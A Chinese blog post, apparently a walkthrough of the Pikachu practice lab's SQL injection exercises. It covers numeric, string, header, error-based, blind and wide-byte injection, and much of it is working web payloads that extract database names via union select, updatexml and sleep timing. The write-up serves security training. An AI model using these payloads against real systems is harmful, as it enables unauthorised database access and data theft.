数字型注入(post)
首先选择一个提交看看效果,并且抓包分析查看用什么方式进行提交
通过burp很清晰看出使用的是post提交,我们发送到repeater
尝试寻找注入
使用 1 or 1=1 看到返回了所有用户
接下来就可以使用order by进行查找,通过查找有2列
那么就配合union进行查询
得到数据库名,后续就简单了,不做演示
字符型注入(get)
我们输入1 提交,使用hackbar进行注入比较方便
尝试语句:1 or 1=1 发现还是没效果,那么尝试加上单引号:1' or 1=1,此时发现报了sql语句错误,加上注释就得到了所有用户,说明使用的是单引号进行闭合
payload:1' or 1=1 -- -
获取数据库
payload:-1' union select database(),2 -- -
搜索型注入
可以看到这题的payload和上一题一样
通过order by知道有3列,使用union获得数据库名
payload:1' union select database(),2,3 -- -
xx型注入
通过payload尝试,发现是')闭合方式
payload:1') or 1=1 -- -
payload:1') union select database(),2 -- -
insert/update注入
点击注册页面,分析大概sql语句写法构造payload
分析:
自己平时写新增的sql语句大概样子
insert into 表名(字段1,字段2,字段3) values('值1','值2','值3')
将这个sql语句报错
insert into 表名(字段1,字段2,字段3) values('值1''**or updatexml(1, concat(0x7e, database(), 0x7e), 1) or'**,'值2','值3')
payload:'and updatexml(1, concat(0x7e, database(), 0x7e), 1) and'
登录进去点击修改信息,这是是更新的sql注入
使用的payload与上面一样
delete注入
输入一些内容点击提交,然后删除留言,使用burp进行抓取,抓取到的数据包发送到repeater
看到get请求删除,我们在这里进行注入
payload:or updatexml(1, concat(0x7e, database(), 0x7e), 1)
中间有的空格需要用+连接
http header注入
通过提示,登录账号
可以看到这里有两个头,我们使用burp抓包进行修改,不管修改的是User-Agent还是Accept都可以
payload:1 'or updatexml(1, concat(0x7e, database(), 0x7e), 1) or'
布尔盲注
输入已知的用户名,尝试闭合
payload:lucy' and 1=1 -- -
当payload:lucy' and 1=2 发现报错,说明可以进行盲注
尝试出数据库长度
payload:lucy' and length(database())=7 -- -
时间盲注
输入正确用户名以及闭合的提示都是只有一个,那么我们试试时间盲注
payload:lucy' and sleep(3) -- -
发现浏览器加载3s后才成功跳转,说明这里是时间盲注
判断数据库长度
payload:lucy' and if(length(database())=7,sleep(3),1) -- -
盲注可以使用sqlmap或者自己写一些脚本工具减少自己的工作量
宽字节注入
输入lucy进行抓包
进行宽字节注入
payload:lucy%df'+or+1=1--+
标签:database,--,Pikachu,0x7e,lucy,Inject,SQL,payload,注入
From: https://www.cnblogs.com/iplkcc/p/16890645.html